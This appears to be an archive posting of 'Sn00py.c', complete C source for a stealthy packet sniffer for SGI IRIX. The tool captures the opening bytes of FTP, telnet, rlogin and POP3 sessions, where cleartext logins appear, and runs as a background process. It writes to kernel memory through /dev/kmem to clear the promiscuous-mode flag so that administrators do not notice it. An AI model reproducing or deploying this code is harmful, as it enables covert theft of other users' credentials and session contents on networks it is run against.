Sn00py.c is a quick and dirty packet sniffer for SGI IRIX. This latest release of the super lightweight packet sniffer incorporates a 'depromiscuator' function to avoid setting off the IFF_PROMISC flag.
0cbd2698307dca333fcec4abd09c3a1d
/*----------------------------------------------------*/
/* S n 0 0 p y . c */
/* ------------------ */
/* A quick and dirty packet sniffer for SGI IRIX */
/* ----------------------------------------------- */
/* This was written due to the lack of lightweight, */
/* good sniffers for my favorite OS, IRIX. The manual */
/* pages for snoop(7M) give half the code for this - */
/* great documentation. */
/* */
/* Earlier version set off the IFF_PROMISC flag. Due */
/* to public demand, and Phrack #53, I decided to add */
/* in the small 'depromiscuator' function, to clear */
/* that troublesome bit (greets, apk =) */
/* */
/* To compile: cc with -lelf, and -DIRIX64 -64 if you */
/* are using the 64 bit versions. */
/* if you're on IRIX 5.3, use -lmld */
/* To run: setenv 'interface' to the interface name. */
/* otherwise it'll attempt to bind to main. */
/* */
/* To comment/flame: /\/\orpheus (n00ne@hotmail.com) */
/*----------------------------------------------------*/
/* #Include's : I found that the order actually makes a difference.. */
/* (on some systems) so you'd better leave this as is.. */
#include <sgidefs.h>
#include <stdlib.h>
#include <fcntl.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <sys/types.h>
#include <net/raw.h>
#include <netinet/if_ether.h>
#include <nlist.h>
/* #define's */
/* The following three are needed for depromiscuate */
#define PATH_VMUNIX "/unix"
#define N_IFNET 0
#define PATH_KMEM "/dev/kmem"
#define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ether_header))
#define TRUE 1
#define FALSE 0
#define MAX_PACKETS 500
#define MAX_DATA 2048 /* in bytes */
/* Promiscuous mode handling code - inspired from Phrack 53 */
/* Greets, apk =) */
#ifdef IRIX64
#define NLIST nlist64
#define LSEEK lseek64
#else
#define NLIST nlist
#define LSEEK lseek
#endif
int kread(int fd, off_t addr, void *buf, int len)
{
int c;
if (LSEEK(fd, (off_t)addr, SEEK_SET) == -1)
return (-1);
if ((c = read(fd, buf, len)) != len)
return (-1);
return c;
}
int kwrite(int fd, off_t addr, void *buf, int len)
{
int c;
if (LSEEK(fd, (off_t)addr, SEEK_SET) == -1)
return (-1);
if ((c = write(fd, buf, len)) != len)
return (-1);
return c;
}
int depromiscuate (char *interface )
{
/* Most of this is from Phrack 53 - Greets where Greets due */
struct ifnet ifn, *ifp;
char ifname[IFNAMSIZ], *cp;
int fd, unit;
struct NLIST nl[] =
{
{ "ifnet" },
{ "" }
};
/* Separate # from name... */
cp = strpbrk(interface, "1234567890");
unit = strtol(cp, NULL, 10);
*cp = 0;
if (NLIST(PATH_VMUNIX, nl) == -1)
return(FALSE);
if (nl[N_IFNET].n_type == 0)
return(FALSE);
if ((fd = open(PATH_KMEM, O_RDWR)) == -1)
return(FALSE);
if (kread(fd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == -1)
return(FALSE);
/* Loop over all interfaces, till we find ours */
/* If interface wasn't set, just clear 'em all */
for (; ifp; ifp = ifn.if_next)
{
if (kread(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1)
return(FALSE);
if (kread(fd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == -1)
return(FALSE);
/* If that's our interface.... */
if ((!interface) || (interface && (strcmp(interface, ifname) == 0) &&
(unit == ifn.if_unit)))
{
printf ("Clearing Promisc flag\n");
ifn.if_flags &= ~IFF_PROMISC;
if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1)
return (FALSE);
}
} /* End for... */
return (TRUE);
}
char *resolvehost (struct in_addr ip_addr)
{
register struct hostent *he;
he = gethostbyaddr ( (char *) &ip_addr.s_addr,
sizeof(struct in_addr),
AF_INET);
return ( (he)?
(he->h_name) :
(inet_ntoa(ip_addr))
);
}
int filter (char *Packet,
int Packet_Size,
struct in_addr IP_Addr1,
int Port1,
struct in_addr IP_Addr2,
int Port2)
{
/* IP Packet Filtering Procedure */
/* ----------------------------- */
/* returns TRUE if Packet is from IP_Addr1:Port1 */
/* IP_Addr2:Port2, or vice versa.. */
/* if you need any more ports monitored - this */
/* is the place to do it... */
struct ip *IP_Header;
struct tcphdr *TCP_Header;
if ( (Packet[0] != 0x45) ||
(Packet[9] != 0x06)
)
/* This ain't a TCP/IP packet.. */
return (FALSE);
IP_Header = (struct ip *) Packet;
TCP_Header = (struct tcphdr *) (Packet +
4 * IP_Header->ip_hl);
if (
((memcmp (&IP_Header->ip_src, &IP_Addr1, 4) == 0) &&
(memcmp (&IP_Header->ip_dst, &IP_Addr2, 4) == 0) &&
(TCP_Header->th_sport == Port1) &&
(TCP_Header->th_dport == Port2)
)
/*
||
((memcmp (&IP_Header->ip_src, &IP_Addr2, 4) == 0) &&
(memcmp (&IP_Header->ip_dst, &IP_Addr1, 4) == 0) &&
(TCP_Header->th_sport == Port2) &&
(TCP_Header->th_dport == Port1)
)
*/ )
{ return (TRUE);}
else
return (FALSE);
}
int main (int argc, char **argv)
{
struct etherpacket {
struct snoopheader snoop;
char pad[ETHERHDRPAD];
struct ether_header ether;
char data[ETHERMTU];
} ;
struct snoopfilter {
u_long sf_mask[SNOOP_FILTERLEN];
u_long sf_match[SNOOP_FILTERLEN];
u_short sf_allocated:1,
sf_active:1,
sf_promisc:1,
sf_allmulti:1,
sf_index:SNOOP_MAXFILTSHIFT;
u_short sf_port;
} ;
int i, j, k; /* Counters... */
int bytes_read; /* data count */
int cc = 60000, on = 1;
int s; /* Our Snoop Socket... */
char *interface; /* Gets the interface env. var, if set */
struct sockaddr_raw sr;
struct etherpacket ep,ep1;
struct snoopfilter sf;
struct ip *IP_Header, *IP_Header1; /* Headers for overlaying */
struct tcphdr *TCP_Header, *TCP_Header1; /* on data buffers.... */
#define TCP_FLAGS_ARE_SET(flags) (TCP_Header->th_flags & (flags))
short int Source_Port, Dest_Port;
char *Source_Addr, *Destination_Addr;
char *output_filename;
FILE *output;
output_filename = strdup("OUT");
if (geteuid () != 0)
{
printf ("Error - You must be root to run this\n");
exit(-1);
}
/* Create the Snoop Socket.... */
s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP);
if (s < 0)
{
perror ("Error - Unable to open socket");
exit(-1);
}
/* Ready output file.... */
if ((output = fopen(output_filename, "wb")) == NULL)
{
printf ("Error - Unable to open output file %s\n", output_filename);
exit(-1);
}
sr.sr_family = AF_RAW;
sr.sr_port = 0;
/* Get the interface name (e.g. ec0, ef0, etc.) from an environment */
/* variable. Else, if not set, we'll attempt to bind to the primary */
/* interface... */
interface = getenv ("interface");
if (!interface)
/* attempt to bind to primary interface ... */
memset(sr.sr_ifname, 0, sizeof sr.sr_ifname);
else
strncpy(sr.sr_ifname, interface, sizeof sr.sr_ifname);
if (bind(s, &sr, sizeof sr) < 0)
{
perror ("Error - Unable to Bind Socket");
exit(1);
}
/* Kewl. We're bound. Next, initialize a generic filter, to match all */
/* packets, and add to the interface's filter set... */
bzero((char *) &sf, sizeof sf);
ioctl(s, SIOCADDSNOOP, &sf);
/* Increase the socket's receive buffer size to a generous upper bound, */
/* to cope with promiscuous reception of heavy traffic. Turn snooping on, */
/* read captured packets.. */
/* (yup.. right from the SGI Man..) */
setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &cc, sizeof cc);
ioctl(s, SIOCSNOOPING, &on);
/* If we got here ok - fork. We'll want to be a bg process anyhow */
/* Clear the promiscuous bit from the interface, to */
/* be somewhat more stealthy.. (Added 4/18/99) */
if (! depromiscuate (interface))
printf ("******** RUNNING IN PROMISCUOUS MODE ********* \n");
if (fork())
exit(0);;
for (;;)
{
cc = read(s, (char *) &ep, sizeof ep);
/* ep.data now holds the packet, minus the ethernet header */
if ((cc > sizeof (struct ip)) &&
(ep.data[0] == 0x45) &&
(ep.data[9] == 0x06))
{
/* 0x45 = IPv4, and length = 5. So this is a pretty much */
/* unique Identifier for our purposes... 0x06 = TCP */
/* Since we checked the header len, we can safely overlay */
/* the struct ip on the data buffer.... */
IP_Header = (struct ip *) ep.data;
Source_Addr = strdup (resolvehost(IP_Header->ip_src));
Destination_Addr = strdup (resolvehost(IP_Header->ip_dst));
/* Now - carefully overlay the TCP header , right after */
/* the IP header - that is, at an offset of ip_hl WORDS */
/* from the beginning (hence the x4). */
TCP_Header = (struct tcphdr *) (ep.data +
4 * IP_Header->ip_hl);
/* Now - we're only interested in logging the first few */
/* bytes of each session (hey - we can't log EVERYTHING..) */
/* so - check for handshakes (see if SYN flag is up...) */
/* and log FTP, telnet, rlogin, and pop... */
if ((TCP_FLAGS_ARE_SET(TH_SYN)) &&
((TCP_Header->th_dport == 110) ||
(TCP_Header->th_dport == 23) ||
(TCP_Header->th_dport == 21) ||
(TCP_Header->th_dport == 513)
)
)
{
fprintf (output,
"Connection :%s(%d) -> %s(%d)\n",
Source_Addr, TCP_Header->th_sport,
Destination_Addr, TCP_Header->th_dport);
/* Read On */
bytes_read = 0;
cc = read(s, (char *) &ep1, sizeof ep1);
for (j=0;
(j < MAX_PACKETS) && (bytes_read < MAX_DATA) ;
)
{
if (filter(ep1.data, cc,
IP_Header->ip_src, TCP_Header->th_sport,
IP_Header->ip_dst, TCP_Header->th_dport)
)
{
IP_Header1 = (struct ip *) ep1.data;
TCP_Header1 = (struct tcphdr *) (ep1.data +
4 * IP_Header1->ip_hl);
if (TCP_Header1->th_flags & (TH_RST | TH_FIN))
{
fprintf(output,"\n\nSession Ended with FIN/RST\n");
j = MAX_PACKETS;
}
else
{
for (k= 4 * ( IP_Header1->ip_hl +
TCP_Header1->th_off);
k < IP_Header1->ip_len;
k++)
fputc(ep1.data[k], output);
bytes_read +=
IP_Header1->ip_len -
(4 * ( IP_Header1->ip_hl + TCP_Header1->th_off));
}
/* In any case, inc. packet count... */
j++;
}
cc = read(s, (char *) &ep1, sizeof ep1);
} /* End for j= ..... */
fprintf (output,"\nTotal bytes snagged: %d\n", bytes_read);
fflush(output);
} /* End if TCP_FLAGS_ARE_SET */
} /* end if */
} /* end for (;;) */
}
Comments
No comments yet, be the first!